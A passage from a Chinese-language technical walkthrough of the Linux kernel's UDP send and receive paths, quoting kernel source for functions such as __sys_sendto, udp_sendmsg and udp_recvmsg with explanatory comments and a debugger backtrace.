put_unused_fd(fd);
return PTR_ERR(newfile);
}
## 2\. send(运输层)
int __sys_sendto(int fd, void __user *buff, size_t len, unsigned int flags,
struct sockaddr __user *addr, int addr_len)
{
struct socket *sock;
struct sockaddr_storage address;
int err;
struct msghdr msg;
struct iovec iov;
int fput_needed;
// 将待传输数据地址(判断该地址是否为用户态地址)和长度填充进入iov结构体,
// 使用uaccess_kernel()判断当前系统调用可访问空间是否为全部空间(KERNEL_DS),
// 由此决定使用 msg.msg_iter->kvec/msg.msg_iter->iov保存用户数据信息
// 详细见2.1
err = import_single_range(WRITE, buff, len, &iov, &msg.msg_iter);
if (unlikely(err))
return err;
// 通过fd获得struct fd, struct fd间接引用file, 然后通过file->private_data获得socket
// 详细见2.2
sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (!sock)
goto out;
msg.msg_name = NULL;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_namelen = 0;
if (addr) {
// 使用copy_from_user将用户空间存储的目标地址复制到内核,
// 期间会判断目标地址长度是否大于 sizeof(struct sockaddr_storage)
err = move_addr_to_kernel(addr, addr_len, &address);
if (err < 0)
goto out_put;
msg.msg_name = (struct sockaddr *)&address;
msg.msg_namelen = addr_len;
}
// 设置非阻塞IO
if (sock->file->f_flags & O_NONBLOCK)
flags |= MSG_DONTWAIT;
msg.msg_flags = flags;
err = sock_sendmsg(sock, &msg);
out_put:
fput_light(sock->file, fput_needed);
out:
return err;
}
### 2.1 import_single_range
int import_single_range(int rw, void __user *buf, size_t len,
struct iovec *iov, struct iov_iter *i)
{
if (len > MAX_RW_COUNT)
len = MAX_RW_COUNT;
// 检查 buf:buf+len 是否指向用户区域
if (unlikely(!access_ok(buf, len)))
return -EFAULT;
// 记录用户数据地址与长度
iov->iov_base = buf;
iov->iov_len = len;
// i->count = count; 将数据长度记录进入msg.msg_iter->count
iov_iter_init(i, rw, iov, 1, len);
return 0;
}
> iov_iter_init
void iov_iter_init(struct iov_iter *i, unsigned int direction,
const struct iovec *iov, unsigned long nr_segs,
size_t count)
{
// 不能存在读写之外的标志位
WARN_ON(direction & ~(READ | WRITE));
// 忽略传入标志位, 直接赋予READ | WRITE
direction &= READ | WRITE;
// uaccess_kernel()判断当前系统调用可访问空间是否为全部空间(KERNEL_DS),
// 由此决定使用ITER_KVEC / ITER_IOVEC
// msg.msg_iter->kvec/iov为union类型
if (uaccess_kernel()) {
i->type = ITER_KVEC | direction;
i->kvec = (struct kvec *)iov;
} else {
i->type = ITER_IOVEC | direction;
i->iov = iov;
}
i->nr_segs = nr_segs;
i->iov_offset = 0;
i->count = count;
}
### 2.2 sockfd_lookup_light
static struct socket *sockfd_lookup_light(int fd, int *err, int *fput_needed)
{
// 通过fd获得struct fd
struct fd f = fdget(fd);
struct socket *sock;
*err = -EBADF;
// 查看struct fd是否与file绑定
if (f.file) {
/* 判断file文件操作结构体成员是否与socket文件操作结构体相同,
相同则说明struct fd内绑定的确实是socket文件,
返回file->private_data即socket
if (file->f_op == &socket_file_ops)
return file->private_data;
*/
sock = sock_from_file(f.file, err);
if (likely(sock)) {
// 表示可解除对该文件描述符的引用
*fput_needed = f.flags & FDPUT_FPUT;
return sock;
}
fdput(f);
}
return NULL;
}
### 2.3 sock_sendmsg
> sock_sendmsg -> sock_sendmsg_nosec -> inet_sendmsg -> udp_sendmsg (层层封装)
int sock_sendmsg(struct socket *sock, struct msghdr *msg)
{
// LSM hook
int err = security_socket_sendmsg(sock, msg,
msg_data_left(msg));
return err ?: sock_sendmsg_nosec(sock, msg);
}
* (假设family=AF_INET, protocol=UDP)调用sock->ops->sendmsg, 调用协议族自带的sendmsg功能函数(inet_sendmsg)
// msg_data_left(msg) 获得用户数据大小(msg.msg_iter->count)
static inline int sock_sendmsg_nosec(struct socket *sock, struct msghdr *msg)
{
int ret = INDIRECT_CALL_INET(sock->ops->sendmsg, inet6_sendmsg,
inet_sendmsg, sock, msg,
msg_data_left(msg));
BUG_ON(ret == -EIOCBQUEUED);
return ret;
}
* 根据socket获得sock, 由protocol决定调用功能函数(udp_sendmsg)
int inet_sendmsg(struct socket *sock, struct msghdr *msg, size_t size)
{
struct sock *sk = sock->sk;
// 如果没有绑定端口, 这里自动绑定端口
if (unlikely(inet_send_prepare(sk)))
return -EAGAIN;
return INDIRECT_CALL_2(sk->sk_prot->sendmsg, tcp_sendmsg, udp_sendmsg,
sk, msg, size);
}
* 栈回溯
gef➤ bt
#0 udp_sendmsg (sk=0xffff888005c7d680, msg=0xffffc900001b7e10, len=0x800) at net/ipv4/udp.c:969
#1 0xffffffff819f4135 in inet_sendmsg (sock=<optimized out>, msg=0xffffc900001b7e10, size=0x800) at net/ipv4/af_inet.c:807
#2 0xffffffff8190ba9e in sock_sendmsg_nosec (msg=<optimized out>, sock=<optimized out>) at ./include/linux/uio.h:235
#3 sock_sendmsg (sock=0xffff888006817a80, msg=0xffffc900001b7e10) at net/socket.c:657
#4 0xffffffff8190de13 in __sys_sendto (fd=<optimized out>, buff=<optimized out>, len=<optimized out>, flags=0x0, addr=0x7ffde0c0cf10, addr_len=0x10) at net/socket.c:1952
### 2.4 udp_sendmsg
* 前置知识
* 宏定义展开
* DECLARE_SOCKADDR
// struct sockaddr_in * sin= ({__sockaddr_check_size(sizeof(*sin)); (struct sockaddr_in *) msg->msg_name;})
DECLARE_SOCKADDR(struct sockaddr_in *, usin, msg->msg_name);
* IS_UDPLITE: 传统的 UDP 通信对整个报文进行校验, UDP-LITE 通信则可以设置校验的长度, 适用于可以接受轻微的报文内容出错的应用场景
// int err, is_udplite = (sk) (sk->sk_protocol == IPPROTO_UDPLITE)
int err, is_udplite = IS_UDPLITE(sk);
* 根据socket获得inet_sock, udp_sock
struct inet_sock *inet = inet_sk(sk);
struct udp_sock *up = udp_sk(sk);
* udp_sock的corkflag标志或msg中的MSG_MORE标志存在则开启软木塞机制
int corkreq = up->corkflag || msg->msg_flags&MSG_MORE;
* udp 不能处理带外数据请求
if (msg->msg_flags & MSG_OOB) /* Mirror BSD error message compatibility */
return -EOPNOTSUPP;
* 尝试追加数据(由udp_sock->pending决定), 进入do_append_data, 阻塞追加
if (up->pending) {
/*
* There are pending frames.
* The socket lock must be held while it's corked.
*/
lock_sock(sk);
if (likely(up->pending)) {
if (unlikely(up->pending != AF_INET)) {
release_sock(sk);
return -EINVAL;
}
goto do_append_data;
}
release_sock(sk);
}
* ulen 表示udp报文大小(带udphdr)
ulen += sizeof(struct udphdr);
* usin包含目标ip, 端口, 协议族信息. 在udp协议中, usin应使用AF_INET或AF_UNSPEC(支持同时返回IPv4&IPv6 信息). 同时如果当前状态为TCP_ESTABLISHED, 表示udp连接已经被建立(connected), usin可为空, 接下来需要继承上次通信对应的ip与端口信息.
if (usin) {
// 如果udp_send 存在目标位置, 则检查协议族,
if (msg->msg_namelen < sizeof(*usin))
return -EINVAL;
if (usin->sin_family != AF_INET) {
if (usin->sin_family != AF_UNSPEC)
return -EAFNOSUPPORT;
}
// 填充目标ip与端口信息(端口必须存在)
daddr = usin->sin_addr.s_addr;
dport = usin->sin_port;
if (dport == 0)
return -EINVAL;
} else {
// TCP_ESTABLISHED表示udp连接已经被建立, 所以可以不需要目标位置信息
if (sk->sk_state != TCP_ESTABLISHED)
return -EDESTADDRREQ;
daddr = inet->inet_daddr;
dport = inet->inet_dport;
/* Open fast path for connected socket.
Route will not be used, if at least one option is set.
*/
connected = 1;
}
* 处理udp协议控制信息
// ipc用来记录控制信息
ipcm_init_sk(&ipc, inet);
// udp分片长度
ipc.gso_size = up->gso_size;
// 开始解析控制信息, 填充至ipc, 详细见2.4.1
if (msg->msg_controllen) {
err = udp_cmsg_send(sk, msg, &ipc.gso_size);
// cmsg->cmsg_level中存在SOL_UDP(need_ip = true), 进入ip_cmsg_send, 详细见4.1
if (err > 0)
err = ip_cmsg_send(sk, msg, &ipc,
sk->sk_family == AF_INET6);
if (unlikely(err < 0)) {
kfree(ipc.opt);
return err;
}
if (ipc.opt)
free = 1;
connected = 0;
}
* 为ipc.opt 填充ip 选项信息(如果cmsg中存在ip选项信息, 则提前填充, 掠过此处). 即如果用户没有自定义ip 选项信息, 则使用inet默认的ip 选项信息
// ip 选项描述结构体
/** struct ip_options - IP Options
*
* @faddr - Saved first hop address
* @nexthop - Saved nexthop address in LSRR and SSRR
* @is_strictroute - Strict source route
* @srr_is_hit - Packet destination addr was our one
* @is_changed - IP checksum more not valid
* @rr_needaddr - Need to record addr of outgoing dev
* @ts_needtime - Need to record timestamp
* @ts_needaddr - Need to record addr of outgoing dev
*/
struct ip_options {
__be32 faddr;
__be32 nexthop;
unsigned char optlen;
unsigned char srr;
unsigned char rr;
unsigned char ts;
unsigned char is_strictroute:1,
srr_is_hit:1,
is_changed:1,
rr_needaddr:1,
ts_needtime:1,
ts_needaddr:1;
unsigned char router_alert;
unsigned char cipso;
unsigned char __pad2;
unsigned char __data[0];
};
if (!ipc.opt) {
struct ip_options_rcu *inet_opt;
rcu_read_lock();
inet_opt = rcu_dereference(inet->inet_opt);
// 将inet->inet_opt->opt拷贝给opt_copy
if (inet_opt) {
memcpy(&opt_copy, inet_opt,
sizeof(*inet_opt) + inet_opt->opt.optlen);
// 填充ipc.opt
ipc.opt = &opt_copy.opt;
}
rcu_read_unlock();
}
* 检查是否设置了源记录路由(source record route, SRR) IP 选项. SRR 有两种类型: 宽松源记录路由/严格源记录路由. 如果设置SRR, 则会记录第一跳地址并保存到faddr, 然后将socket 标记为unconnected
if (ipc.opt && ipc.opt->opt.srr) {
if (!daddr) {
err = -EINVAL;
goto out_free;
}
faddr = ipc.opt->opt.faddr;
connected = 0;
}
* 获得tos标志(优先从控制信息ipc中获取, 没有自定义则从inet默认获取tos), tos详细见2.4.2
tos = get_rttos(&ipc, inet);
* 禁止路由设置可以由三种方式控制
if (sock_flag(sk, SOCK_LOCALROUTE) ||
(msg->msg_flags & MSG_DONTROUTE) ||
(ipc.opt && ipc.opt->opt.is_strictroute)) {
tos |= RTO_ONLINK;
connected = 0;
}
* 选择网卡设备, 多播见2.4.3
// 通过判断目的地址是否位于224.0.0.0/4 网段, 确定是否为多播
if (ipv4_is_multicast(daddr)) {
// 设置设备索引为多播设备
if (!ipc.oif || netif_index_is_l3_master(sock_net(sk), ipc.oif))
ipc.oif = inet->mc_index;
// 如果没有设置源地址, 则设置源地址为多播地址
if (!saddr)
saddr = inet->mc_addr;
connected = 0;
} else if (!ipc.oif) {
// 协议控制信息没有设置设备索引且非多播则设置设备索引为单播设备索引
ipc.oif = inet->uc_index;
} else if (ipv4_is_lbcast(daddr) && inet->uc_index) {
/* oif is set, packet is to local broadcast and
* and uc_index is set. oif is most likely set
* by sk_bound_dev_if. If uc_index != oif check if the
* oif is an L3 master and uc_index is an L3 slave.
* If so, we want to allow the send using the uc_index.
*/
// 协议控制信息已设置设备索引&消息本地广播&inet存在单播设备&ipc未与inet单播设备绑定
// 如果ipc绑定inet网卡设备的l3主设备(虚拟网卡), 更改绑定设备为inet网卡(本地广播不需要l3mdev辅助实现VRF)
// 关于VRF建议阅读: https://blog.csdn.net/dog250/article/details/78069964
if (ipc.oif != inet->uc_index &&
ipc.oif == l3mdev_master_ifindex_by_index(sock_net(sk),
inet->uc_index)) {
ipc.oif = inet->uc_index;
}
}
* 获得路由信息
if (connected)
// 如果正在连接, 检查路由是否过期, 详细见2.4.4
rt = (struct rtable *)sk_dst_check(sk, 0);
if (!rt) {
struct net *net = sock_net(sk);
__u8 flow_flags = inet_sk_flowi_flags(sk);
fl4 = &fl4_stack;
// flowi4_init_output初始化flow, 描述udp数据流信息
flowi4_init_output(fl4, ipc.oif, ipc.sockc.mark, tos,
RT_SCOPE_UNIVERSE, sk->sk_protocol,
flow_flags,
faddr, saddr, dport, inet->inet_sport,
sk->sk_uid);
// LSM
security_sk_classify_flow(sk, flowi4_to_flowi(fl4));
// 获得路由表项
rt = ip_route_output_flow(net, fl4, sk);
if (IS_ERR(rt)) {
err = PTR_ERR(rt);
rt = NULL;
if (err == -ENETUNREACH)
IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES);
goto out;
}
err = -EACCES;
// 广播路由必须由具有配置SOCK_BROADCAST 标志的sock接收
if ((rt->rt_flags & RTCF_BROADCAST) &&
!sock_flag(sk, SOCK_BROADCAST))
goto out;
if (connected)
// 如果当前sock 处于connected状态, 则将路由保存至sk->sk_dst_cache
sk_dst_set(sk, dst_clone(&rt->dst));
}
* 对于用于探测的数据包, 如果配置了MSG_CONFIRM标志, 则更新邻居结点ARP缓存时间戳, 防止ARP缓存过期
if (msg->msg_flags&MSG_CONFIRM)
goto do_confirm;
...
do_confirm:
if (msg->msg_flags & MSG_PROBE)
dst_confirm_neigh(&rt->dst, &fl4->daddr);
* 非阻塞情况下
if (!corkreq) {
struct inet_cork cork;
// 构建 skb, 详细见4.2
skb = ip_make_skb(sk, fl4, getfrag, msg, ulen,
sizeof(struct udphdr), &ipc, &rt,
&cork, msg->msg_flags);
err = PTR_ERR(skb);
if (!IS_ERR_OR_NULL(skb))
// 传输skb 至网络层, 详细见1.4.5
err = udp_send_skb(skb, fl4, &cork);
goto out;
}
* 阻塞情况下
/*
* Now cork the socket to pend data.
*/
fl4 = &inet->cork.fl.u.ip4;
fl4->daddr = daddr;
fl4->saddr = saddr;
fl4->fl4_dport = dport;
fl4->fl4_sport = inet->inet_sport;
up->pending = AF_INET;
do_append_data:
up->len += ulen;
err = ip_append_data(sk, fl4, getfrag, msg, ulen,
sizeof(struct udphdr), &ipc, &rt,
corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags);
if (err)
// 链接skb过程中发生错误, 丢弃skb
udp_flush_pending_frames(sk);
else if (!corkreq)
// 组织链接skb后调用udp_send_skb, 填充udp头部并将skb传输给ip层, 详细见2.4.6
err = udp_push_pending_frames(sk);
else if (unlikely(skb_queue_empty(&sk->sk_write_queue)))
up->pending = 0;
release_sock(sk);
### 2.4.1 udp_cmsg_send
* 通过相关patch进行分析得出以下结论. [patch1](https://www.spinics.net/lists/netdev/msg496109.html) <a href=”https://patchwork.ozlabs.org/project/netdev/cover/20180426174225.246388-1-[[email protected]](mailto:[email protected])/#1901515″>patch2: 添加GSO机制, 用户可以在一次系统调用中, 向同一目的ip发送多个报文
> udp_cmsg_send
// 遍历被切割成多个cmsg的msg->control
int udp_cmsg_send(struct sock *sk, struct msghdr *msg, u16 *gso_size)
{
struct cmsghdr *cmsg;
bool need_ip = false;
int err;
for_each_cmsghdr(cmsg, msg) {
if (!CMSG_OK(msg, cmsg))
return -EINVAL;
// 存在非UDP层控制信息, 下一步会进入ip_cmsg_send解析
if (cmsg->cmsg_level != SOL_UDP) {
need_ip = true;
continue;
}
err = __udp_cmsg_send(cmsg, gso_size);
if (err)
return err;
}
return need_ip;
}
> udp_cmsg_send->for_each_cmsghdr(cmsg, msg)
* 将msg->control切割成多个cmsg, 具体逻辑:
* 获得第一个cmsg: cmsg = msg->control(msg->controllen >= sizeof(struct cmsghdr)), cmsghdr结构体包含 **cmsg_data** flexarr 成员, 该成员为可变字符数组, 用来存储cmsg, 也就是说msg->control中的数据按照cmsghdr结构储存管理, 且cmsghdr结构可变
* 获得next_cmsg: next_cmsg = cmsg + (align)cmsg->cmsg_len(cmsg+cmsg->cmsg_len+1-msg->control > msg->msg_controllen)
#define for_each_cmsghdr(cmsg, msg) \
for (cmsg = CMSG_FIRSTHDR(msg); \
cmsg; \
cmsg = CMSG_NXTHDR(msg, cmsg))
/* CMSG_FIRSTHDR:
#define CMSG_FIRSTHDR(msg) __CMSG_FIRSTHDR((msg)->msg_control, (msg)->msg_controllen)
#define __CMSG_FIRSTHDR(ctl,len) ((len) >= sizeof(struct cmsghdr) ? \
(struct cmsghdr *)(ctl) : \
(struct cmsghdr *)NULL)
*/
/* CMSG_NXTHDR:
#define CMSG_NXTHDR(mhdr, cmsg) cmsg_nxthdr((mhdr), (cmsg))
static inline struct cmsghdr * cmsg_nxthdr (struct msghdr *__msg, struct cmsghdr *__cmsg)
{
return __cmsg_nxthdr(__msg->msg_control, __msg->msg_controllen, __cmsg);
}
static inline struct cmsghdr * __cmsg_nxthdr(void *__ctl, __kernel_size_t __size,
struct cmsghdr *__cmsg)
{
struct cmsghdr * __ptr;
__ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) + CMSG_ALIGN(__cmsg->cmsg_len));
if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)
return (struct cmsghdr *)0;
return __ptr;
}
> udp_cmsg_send->__udp_cmsg_send
static int __udp_cmsg_send(struct cmsghdr *cmsg, u16 *gso_size)
{
switch (cmsg->cmsg_type) {
case UDP_SEGMENT:
if (cmsg->cmsg_len != CMSG_LEN(sizeof(__u16)))
return -EINVAL;
// 指定GSO报文大小, UDP_SEGMENT类型控制信息, 会在cmsg->__cmsg_data前两字节处指定gso_size
*gso_size = *(__u16 *)CMSG_DATA(cmsg);
return 0;
default:
return -EINVAL;
}
}
### 2.4.2 TOS
> TOS(8bits) 通过填充flag标志位, 用以表示网络设备提供的服务类型(网络设备必须能够支持, 否则没有任何意义).
* 前3bits: 废弃, 无意义, 默认000
* 4bits:
* 1000 — minimize delay 最小延迟
* 0100 — maximize throughput 最大吞吐量
* 0010 — maximize reliability 最高可靠性
* 0001 — minimize monetary cost 最小费用
* 0000 — normal service 一般服务
* 末尾1bit: 无意义, 保留
### 2.4.3 多播/本地广播
* 设置多播/本地广播
* 多播可以参考这篇文章(多播技术)[<https://www.huaweicloud.com/articles/6369165847f916e2f8a8638a480fb1f8.html>], 总结概括如下:
* 多播用来实现一点对多点的传播, 适用于流媒体, 视频会议等场景
* 多播类似于广播, 使用特殊ip地址作为目的地址(224.0.0.0/4), 多播数据报文会被路由器抄写为多份, 发送至多个目标. 与广播不同的是, 多播只会向存在多播接收请求的子网转发信息.
* 对于接收者来说, 如果接收者希望接收某一多播信息, 会使用IGMP协议向本地服务器发送请求申请加入某多播组, 本地路由器会将该接收者加入多播组, 并将该组信息共享至相邻路由节点.
* 本地广播此处不再赘述
### 2.4.4 检查sock中路由信息是否过期
> sk_dst_check
struct dst_entry *sk_dst_check(struct sock *sk, u32 cookie)
{
struct dst_entry *dst = sk_dst_get(sk);
if (dst && dst->obsolete && dst->ops->check(dst, cookie) == NULL) {
sk_dst_reset(sk);
dst_release(dst);
return NULL;
}
return dst;
}
> sk_dst_check->sk_dst_get(获得路由信息)
sk_dst_get(struct sock *sk)
{
struct dst_entry *dst;
rcu_read_lock();
// 从sk->sk_dst_cache去路由信息
dst = rcu_dereference(sk->sk_dst_cache);
// 引用数 +1
if (dst && !atomic_inc_not_zero(&dst->__refcnt))
dst = NULL;
rcu_read_unlock();
return dst;
}
> sk_dst_check->dst->ops->check(ipv4下调用ipv4_dst_check, 检查是否过期)
static struct dst_entry *ipv4_dst_check(struct dst_entry *dst, u32 cookie)
{
struct rtable *rt = (struct rtable *) dst;
/* All IPV4 dsts are created with ->obsolete set to the value
* DST_OBSOLETE_FORCE_CHK which forces validation calls down
* into this function always.
*
* When a PMTU/redirect information update invalidates a route,
* this is indicated by setting obsolete to DST_OBSOLETE_KILL or
* DST_OBSOLETE_DEAD.
*/
// dst->obsolete 不等于DST_OBSOLETE_FORCE_CHK表示路由信息过期
if (dst->obsolete != DST_OBSOLETE_FORCE_CHK || rt_is_expired(rt))
return NULL;
return dst;
}
### 2.4.5 udp_send_skb
static int udp_send_skb(struct sk_buff *skb, struct flowi4 *fl4,
struct inet_cork *cork)
{
struct sock *sk = skb->sk;
struct inet_sock *inet = inet_sk(sk);
struct udphdr *uh;
int err = 0;
int is_udplite = IS_UDPLITE(sk);
int offset = skb_transport_offset(skb);
int len = skb->len - offset;
int datalen = len - sizeof(*uh);
__wsum csum = 0;
/*
* Create a UDP header
*/
// 填充udp头
uh = udp_hdr(skb);
uh->source = inet->inet_sport;
uh->dest = fl4->fl4_dport;
uh->len = htons(len);
uh->check = 0;
// 检查是否满足GSO机制, 直接进入硬件校验
if (cork->gso_size) {
const int hlen = skb_network_header_len(skb) +
sizeof(struct udphdr);
if (hlen + cork->gso_size > cork->fragsize) {
kfree_skb(skb);
return -EINVAL;
}
if (skb->len > cork->gso_size * UDP_MAX_SEGMENTS) {
kfree_skb(skb);
return -EINVAL;
}
if (sk->sk_no_check_tx) {
kfree_skb(skb);
return -EINVAL;
}
if (skb->ip_summed != CHECKSUM_PARTIAL || is_udplite ||
dst_xfrm(skb_dst(skb))) {
kfree_skb(skb);
return -EIO;
}
if (datalen > cork->gso_size) {
skb_shinfo(skb)->gso_size = cork->gso_size;
skb_shinfo(skb)->gso_type = SKB_GSO_UDP_L4;
skb_shinfo(skb)->gso_segs = DIV_ROUND_UP(datalen,
cork->gso_size);
}
goto csum_partial;
}
// 进入UDP-LITE 校验和计算, 可通过指定校验长度容忍报文出错现象
if (is_udplite) /* UDP-Lite */
csum = udplite_csum(skb);
// 不进行校验
else if (sk->sk_no_check_tx) { /* UDP csum off */
// CHECKSUM_NONE指不需要校验
skb->ip_summed = CHECKSUM_NONE;
goto send;
} else if (skb->ip_summed == CHECKSUM_PARTIAL) { /* UDP hardware csum */
csum_partial:
// CHECKSUM_PARTIAL表示硬件实现部分校验和计算(udp数据校验)
udp4_hwcsum(skb, fl4->saddr, fl4->daddr);
goto send;
} else
// 软件实现校验和计算(udp数据校验)
csum = udp_csum(skb);
/* add protocol-dependent pseudo-header */
// 设置伪ip头, 计算udp报文校验和与伪ip头的校验和
uh->check = csum_tcpudp_magic(fl4->saddr, fl4->daddr, len,
sk->sk_protocol, csum);
if (uh->check == 0)
uh->check = CSUM_MANGLED_0;
send:
// 将skb传递至网络层(IP层), 详细见4.4
err = ip_send_skb(sock_net(sk), skb);
if (err) {
if (err == -ENOBUFS && !inet->recverr) {
UDP_INC_STATS(sock_net(sk),
UDP_MIB_SNDBUFERRORS, is_udplite);
err = 0;
}
} else
UDP_INC_STATS(sock_net(sk),
UDP_MIB_OUTDATAGRAMS, is_udplite);
return err;
}
### 2.4.6 udp_push_pending_frames
int udp_push_pending_frames(struct sock *sk)
{
struct udp_sock *up = udp_sk(sk);
struct inet_sock *inet = inet_sk(sk);
struct flowi4 *fl4 = &inet->cork.fl.u.ip4;
struct sk_buff *skb;
int err = 0;
skb = ip_finish_skb(sk, fl4);
if (!skb)
goto out;
err = udp_send_skb(skb, fl4, &inet->cork.base);
out:
up->len = 0;
up->pending = 0;
return err;
}
## 3\. recv(运输层)
> 大多数api在send中已经提及, 不再次讲解
>
> __sys_recvfrom -> sock_recvmsg -> sock_recvmsg_nosec -> inet_recvmsg ->
> udp_recvmsg (层层封装)
int __sys_recvfrom(int fd, void __user *ubuf, size_t size, unsigned int flags,
struct sockaddr __user *addr, int __user *addr_len)
{
...
err = sock_recvmsg(sock, &msg, flags);
if (err >= 0 && addr != NULL) {
// 将客户端地址返回给用户态
err2 = move_addr_to_user(&address,
msg.msg_namelen, addr, addr_len);
if (err2 < 0)
err = err2;
}
...
### 3.1 udp_recvmsg
int udp_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int noblock,
int flags, int *addr_len)
{
struct inet_sock *inet = inet_sk(sk);
DECLARE_SOCKADDR(struct sockaddr_in *, sin, msg->msg_name);
struct sk_buff *skb;
unsigned int ulen, copied;
int off, err, peeking = flags & MSG_PEEK;
int is_udplite = IS_UDPLITE(sk);
bool checksum_valid = false;
// 从socket错误队列接收错误信息
if (flags & MSG_ERRQUEUE)
return ip_recv_error(sk, msg, len, addr_len);
try_again:
// MSG_PEEK表示预读, 此处获得预读长度
off = sk_peek_offset(sk, flags);
// 从缓存队列中获得skb, 详细见2.1.1
skb = __skb_recv_udp(sk, flags, noblock, &off, &err);
if (!skb)
return err;
// 获得skb内数据长度
ulen = udp_skb_len(skb);
copied = len;
// 如果待接收数据大于skb缓存数据, 截断输入
if (copied > ulen - off)
copied = ulen - off;
else if (copied < ulen)
// 接收skb中所有数据
msg->msg_flags |= MSG_TRUNC;
/*
* If checksum is needed at all, try to do it while copying the
* data. If the data is truncated, or if we only want a partial
* coverage checksum (UDP-Lite), do it before the copy.
*/
// CHECKSUM_UNNECESSARY表示硬件已完成数据校验, 无需再次校验
// 待接收数据小于缓冲区数据&开启预读机制&开启udplite机制情况下如果skb需要进行校验则调用__udp_lib_checksum_complete进行校验
if (copied < ulen || peeking ||
(is_udplite && UDP_SKB_CB(skb)->partial_cov)) {
checksum_valid = udp_skb_csum_unnecessary(skb) ||
!__udp_lib_checksum_complete(skb);
// 校验未通过丢弃数据
if (!checksum_valid)
goto csum_copy_err;
}
// 如果校验成功或未开启校验则直接复制数据
if (checksum_valid || udp_skb_csum_unnecessary(skb)) {
// 如果skb中数据都存在线性区域直接调用copy_linear_skb, 否则使用skb_copy_datagram_msg
if (udp_skb_is_linear(skb))
err = copy_linear_skb(skb, copied, off, &msg->msg_iter);
else
err = skb_copy_datagram_msg(skb, off, msg, copied);
}
// 此处代码对全部数据做校验
else {
// 在复制数据时做完整性校验
err = skb_copy_and_csum_datagram_msg(skb, off, msg);
if (err == -EINVAL)
goto csum_copy_err;
}
// 发生错误释放skb, 直接返回
if (unlikely(err)) {
if (!peeking) {
atomic_inc(&sk->sk_drops);
UDP_INC_STATS(sock_net(sk),
UDP_MIB_INERRORS, is_udplite);
}
kfree_skb(skb);
return err;
}
if (!peeking)
UDP_INC_STATS(sock_net(sk),
UDP_MIB_INDATAGRAMS, is_udplite);
sock_recv_ts_and_drops(msg, sk, skb);
// 根据skb填充客户端数据
/* Copy the address. */
if (sin) {
sin->sin_family = AF_INET;
sin->sin_port = udp_hdr(skb)->source;
sin->sin_addr.s_addr = ip_hdr(skb)->saddr;
memset(sin->sin_zero, 0, sizeof(sin->sin_zero));
*addr_len = sizeof(*sin);
// 涉及bpf
if (cgroup_bpf_enabled)
BPF_CGROUP_RUN_PROG_UDP4_RECVMSG_LOCK(sk,
(struct sockaddr *)sin);
}
// 解析控制信息
if (udp_sk(sk)->gro_enabled)
udp_cmsg_recv(msg, sk, skb);
if (inet->cmsg_flags)
ip_cmsg_recv_offset(msg, sk, skb, sizeof(struct udphdr), off);
err = copied;
if (flags & MSG_TRUNC)
// 如果开启MSG_TRUNC, 会接收skb中全部数据（在用户缓冲区最大处截断）
err = ulen;
skb_consume_udp(sk, skb, peeking ? -err : err);
return err;
csum_copy_err:
if (!__sk_queue_drop_skb(sk, &udp_sk(sk)->reader_queue, skb, flags,
udp_skb_destructor)) {
UDP_INC_STATS(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite);
UDP_INC_STATS(sock_net(sk), UDP_MIB_INERRORS, is_udplite);
}
kfree_skb(skb);
/* starting over for a new packet, but check if we need to yield */
cond_resched();
msg->msg_flags &= ~MSG_TRUNC;
goto try_again;
}
### 3.1.1 __skb_recv_udp
struct sk_buff *__skb_recv_udp(struct sock *sk, unsigned int flags,
int noblock, int *off, int *err)
{
struct sk_buff_head *sk_queue = &sk->sk_receive_queue;
struct sk_buff_head *queue;
struct sk_buff *last;
long timeo;
int error;
// 获得缓存队列
queue = &udp_sk(sk)->reader_queue;
// 确定是否为非阻塞IO
flags |= noblock ? MSG_DONTWAIT : 0;
// 返回阻塞IO时间戳
timeo = sock_rcvtimeo(sk, flags & MSG_DONTWAIT);
do {
struct sk_buff *skb;
// 清空错误报告
error = sock_error(sk);
if (error)
break;
error = -EAGAIN;
do {
// 禁止CPU软中断
spin_lock_bh(&queue->lock);
// 尝试获得skb, 详细见2.1.1.1
skb = __skb_try_recv_from_queue(sk, queue, flags,
udp_skb_destructor,
off, err, &last);
if (skb) {
// 获得skb后开启软中断
spin_unlock_bh(&queue->lock);
return skb;
}
// 获取skb失败后, 无锁判断sock接收队列是否为空
if (skb_queue_empty_lockless(sk_queue)) {
spin_unlock_bh(&queue->lock);
goto busy_check;
}
/* refill the reader queue and walk it again
* keep both queues locked to avoid re-acquiring
* the sk_receive_queue lock if fwd memory scheduling
* is needed.
*/
spin_lock(&sk_queue->lock);
// 链接sk_queue进入queue
skb_queue_splice_tail_init(sk_queue, queue);
// 再次尝试获取skb
skb = __skb_try_recv_from_queue(sk, queue, flags,
udp_skb_dtor_locked,
off, err, &last);
spin_unlock(&sk_queue->lock);
spin_unlock_bh(&queue->lock);
if (skb)
return skb;
busy_check:
if (!sk_can_busy_loop(sk))
break;
sk_busy_loop(sk, flags & MSG_DONTWAIT);
} while (!skb_queue_empty_lockless(sk_queue));
// 直到sk_queue为空, 跳出循环
/* sk_queue is empty, reader_queue may contain peeked packets */
} while (timeo &&
!__skb_wait_for_more_packets(sk, &error, &timeo,
(struct sk_buff *)sk_queue));
// 如果sock接收队列sk_queue为空, 且需要等待, 在此处等待
*err = error;
return NULL;
}
### 3.1.1.1 __skb_try_recv_from_queue
struct sk_buff *__skb_try_recv_from_queue(struct sock *sk,
struct sk_buff_head *queue,
unsigned int flags,
void (*destructor)(struct sock *sk,
struct sk_buff *skb),
int *off, int *err,
struct sk_buff **last)
{
bool peek_at_off = false;
struct sk_buff *skb;
int _off = 0;
if (unlikely(flags & MSG_PEEK && *off >= 0)) {
peek_at_off = true;
_off = *off;
}
*last = queue->prev;
// 遍历队列
skb_queue_walk(queue, skb) {
if (flags & MSG_PEEK) {
// 如果预读的字节数大于skb数据长度, 则更新待预读字节数且更换skb
if (peek_at_off && _off >= skb->len &&
(_off || skb->peeked)) {
_off -= skb->len;
continue;
}
// skb非空, 设置为预读模式
if (!skb->len) {
skb = skb_set_peeked(skb);
if (IS_ERR(skb)) {
*err = PTR_ERR(skb);
return NULL;
}
}
refcount_inc(&skb->users);
} else {
// 将skb从队列中取出
__skb_unlink(skb, queue);
// 如果定义了销毁函数则调用
if (destructor)
destructor(sk, skb);
}
